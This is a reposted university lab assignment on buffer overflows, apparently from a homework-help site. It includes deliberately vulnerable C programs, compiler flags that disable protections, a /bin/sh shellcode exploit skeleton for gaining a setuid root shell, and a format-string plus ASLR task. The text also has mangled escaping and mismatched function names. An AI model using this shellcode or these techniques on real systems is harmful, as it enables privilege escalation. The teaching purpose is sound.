首页 > > 详细

C辅导:CMSC414 Buffer Overflows Part2辅导R、R调试

,。

A Vulnerable Program

In the remainder of the tasks, you will be exploiting a program that has a buffer overflow vulnerability. Unlike Task 0, you are not allowed to modify the program itself; instead, you will be attacking it by cleverly constructing malicious inputs to the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* vulnerable1.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability, not by
* modifying this code, but by providing a cleverly
* constructed input. */

#include lt;stdlib.hgt;
#include lt;stdio.hgt;
#include lt;string.hgt;

#define BUFFER_SIZE 512

void greet(char *str)
#123;

char greeting[32] = "Welcome ";
/* The following allows buffer overflow */
strcat(greeting, str);
#125;

int main()
#123;

char str[BUFFER\_SIZE];
FILE *bf = fopen("badfile", "r");

fread(str, sizeof(char), BUFFER_SIZE, bf);
greet(str);

printf("Returned properly: attack failed\n");
return 1;
#125;

 

The vulnerable program for Task 1, vulnerable1.c, is given above. To compile it without the relevant compiler-provided defenses and to make the executable set-root-uid, do the following:

$ sudo gcc -fno-stack-protector -z execstack -m32 -g vulnerable.c -o vuln1 $ sudo chmod 4755 vuln1 

The above program has a buffer-overflow vulnerability in function bof(). The program reads 512 bytes from a file named badfile and passes this input to function bof(), which uses strcat() to store the input into buffer. But buffer is only 32 bytes and strcat() does not check for buffer boundary. As if that weren’t bad enough, the user input is concatenated onto the end of a string that is already stored in buffer (“Welcome: “).

An attacker can exploit this buffer-overflow vulnerability and potentially launch a shell. Moreover, because the program is a set-root-uid program (compiled as root using sudo), the attacker may be able to get a root shell. Doing so is your next task.

Task 1: Exploiting the Vulnerability

For this task:

  • Disable address space randomization (section 2.2).
  • Make /bin/zsh the default shell program (section 2.3).
  • Compile the vulnerable program in 32-bit, without the stack protector, and with the stack set to executable (Section 5).

Write a program, exploit1.c, that prints an appropriate string to stdout (we will redirect it to the file, badfile, that the vulnerable program is expecting). It must put the following at appropriate places in the string it outputs:

  • Shellcode.
  • NOP instructions (0x90): to increase the chance of a successful target address.
  • The address in the stack to which control should go when bof() returns. Ideally the address of the shellcode or one of the NOPs on the NOP sled.

The program takes no command-line arguments. You can use the following skeleton.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* exploit1.c */
/* Outputs a string for code injection on vulnerable1.c */
#include lt;stdio.hgt;
#include lt;string.hgt;

#define BUFFER_SIZE 512

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

int main() #123;
char buffer[BUFFER_SIZE];

/* Initialize the buffer to all zeroes */
memset(buffer, 0x0, BUFFER\_SIZE);

/* TODO: Fill the buffer with appropriate contents */

/* Print out the contents of the attack buffer */
fwrite(buffer, BUFFER\_SIZE, 1, stdout);
return 0;
#125;

 

After you finish the above program, do the following in a non-root shell. Compile the program in 32-bit mode (using the -m32 command-line argument to gcc). Run your exploit code and pipe the output to the vulnerable program. If your exploit is implemented correctly, when function bof returns it will execute your shellcode, giving you a root shell. Here are the commands you would issue, assuming that vuln1 has already been compiled (as in Section 5).

$ gcc -m32 exploit1.c -o exploit1 $ ./exploit1 gt; badfile $ ./vuln1 #                    lt;---- Bingo! Youapos;ve got a root shell! 

That is considered success for this task!

As an aside, note that although you have obtained the “#” prompt, you are only a set-root-uid process and not a real-root process; i.e., your effective user id is root but your real user id is your original non-root id. You can check this by typing the following:

# id uid=(500) euid=0(root) 

A real-root process is more powerful than a set-root process. In particular, many commands behave differently when executed by a set-root-uid process than by a real root process. If you want such commands to treat you as a real root, simply call setuid(0) to set your real user id to root.

Task 2: Address-Randomization Protection

In this task, you will use all of the same settings as in Task 1, but you will be turning address space layout randomization (ASLR) back on. This can be done as follows:

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2 

Nonetheless, your program will have to work with 100% success rate on every invocation of the now-randomized program! To this end, we will be using a different vulnerable program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/* vulnerable2.c */
/* This program also has a buffer overflow vulnerability.
* Our task is to exploit this vulnerability, even when
* ASLR is turned on. */


#include lt;stdlib.hgt;
#include lt;stdio.hgt;
#include lt;string.hgt;

void echo_info()
#123;

char age[32];
char name[32];

/* These are pipes to allow for 'communication' between
* vulnerable2 and exploit2; you can ignore them. */

FILE *out = fopen("f0", "w");
FILE *in = fopen("f1", "r");

/* Read in the user's name */
fscanf(in, "%s", age);

/* Echo it right back to them */
fprintf(out, age);
fprintf(out, "\n"); /* Possible format string vulnerability */
fflush(out);

/* Read in the user's name */
fscanf(in, "%s", name); /* Possible buffer overflow */
#125;

int main()
#123;

echo_info();

printf("Returned properly: attack failed\n");
return 1;
#125;

 

This program very simply reads in two strings - an “age” and a “name” - and echoes those back to the user. As we have learned, gets(str) is considered a harmful function because it will read characters from stdin until it reaches a null-terminating character and store them into str, regardless of how large str actually is. This is what will permit a buffer overflow.

But there is another vulnerability here: the programmer has used fprintf without providing a format string as the first argument. Recall that such format string vulnerabilities allow an attacker to provide inputs that will reveal values on the stack. What inputs can you provide to fscanf(age) that might help you infer how to correctly overflow the buffer with fscanf(name)?

Task 3: A Secure Program

The majority of the project thus far has dealt with attacking existing code. In this task, you will write some secure code of your own. It is, at face value, a simple program, so use this as an opportunity to pay close attention to every line of your code to ensure that it is not vulnerable to any of the attacks we’ve discussed.

Your task is to write two programs:

  • task3/substring.c
    • Reads from stdin
    • Takes three inputs, each separated by one or more characters of whitespace:
      • The first is a string, str. This should be at most 32 characters long (not including the null terminating character). Any additional characters should be ignored.
      • The second input is a number first.
      • The third input is also a number, last. If not, then output the (exact) string “Invalid input” and quit. All additional inputs should be ignored.
    • If the above inputs are well formed, the program then creates a file named output.txt if a file by that name already exists or if the program is unable to create that file, it should fail gracefully by printing out the (exact) string “Unable to open file”.
    • Prints to output.txt the substring str[first:last], that is, the string comprising characters str[first] up to and including str[last], where the indices are zero- based. For example, if the inputs provided were str = “concatenation”, first = 3, and last = 5, then the program should store “cat” to output.txt.
  • task3/read.c
    • Reads from output.txt if it exists and can be opened (prints out “Unable to open file” if not).
    • Prints to stdout what was stored via the other executable. output.txt should have no more than 32 characters (not including the null terminating character), and should have no spaces (recall that the input string was read up to but not including spaces).

Both of these will be compiled without ASLR and without stack protector (as with Task 1). Also, while the above describes how many characters “should” be in the input, there is no guarantee they will be. If you happen to require any other files (e.g., header files), include them in task3/ as well. This directory must be self-contained. Do not put any personally identifying information in any of the files in task3/ (user name, user ID, or anything else that will identify who you are).

Task 4: Security Review

Throughout this course (and certainly in projects such as these), you will be learning and gaining experience with the technical details of secure programming, protocols, and networking. You should, in other words, develop the skills to be able to analyze a system, identify its vulnerabilities, and design defenses against them.

One of the broader goals of this course is to also guide you in developing a “security mindset.” To give an example, imagine you saw an ad for a new car that would unlock its doors if you bumped your phone against it. If you are in the security mindset, your first thought might be “how could I use that to gain entry into someone else’s car?” (And if you have really developed that mindset, you might already be thinking “I’d do so by…”)

This is, frankly, not a natural way of viewing the world. It’s about thinking like an adversary: an immensely important ability when designing and evaluating (and breaking) secure systems.

The task

Your task is to write a security analysis. With the intent of creating an interesting, open forum to discuss these ideas, you will post your review on the course Piazza forum (there’s a link on the course website). A post will be created by the instructor: post your reply there (I can’t promise I’ll see it otherwise). You cannot post a review of a system that has been covered before your post, so get started early! Here’s what your security review should include:

  1. A summary of the technology (one concise paragraph). It can be a specific product/technology, or a class of them. This is where you would also state any assumptions you need to make about the product, if necessary.
  2. Three assets (1-3 sentences each)that which a defender would wish to protect and that an attacker would wish to steal/compromise/break, etc. Include the assets’ relevant security goals (confidentiality, availability, etc.), and to whom they pertain (are they the assets for the citizens of a country, the individual user, or perhaps the company deploying the particular technology?).
  3. At least two (and at most four) possible security threats (one or two sentences each). Recall that a threat is a potential action an adversary could take against one or more of the assets. Identify who the adversary may be.
  4. At possible defenses to the potential threats you identified (one or two sentences each). These could include techniques the system may already be applying.
  5. A discussion of the risks involved (one or two sentences). How serious would these attacks be, and what would be the potential fallout; are the main risks economical, violations of privacy, safety, or something else?
  6. Finally, conclude (one or two sentences) with a bigger picture reflections on the various points you make above. For instance: Do you think this is a fundamental flaw of all such pieces of technology to come, will the field come to address such challenges, and so on.
联系我们 - QQ: 99515681 微信:codinghelp
程序辅导网!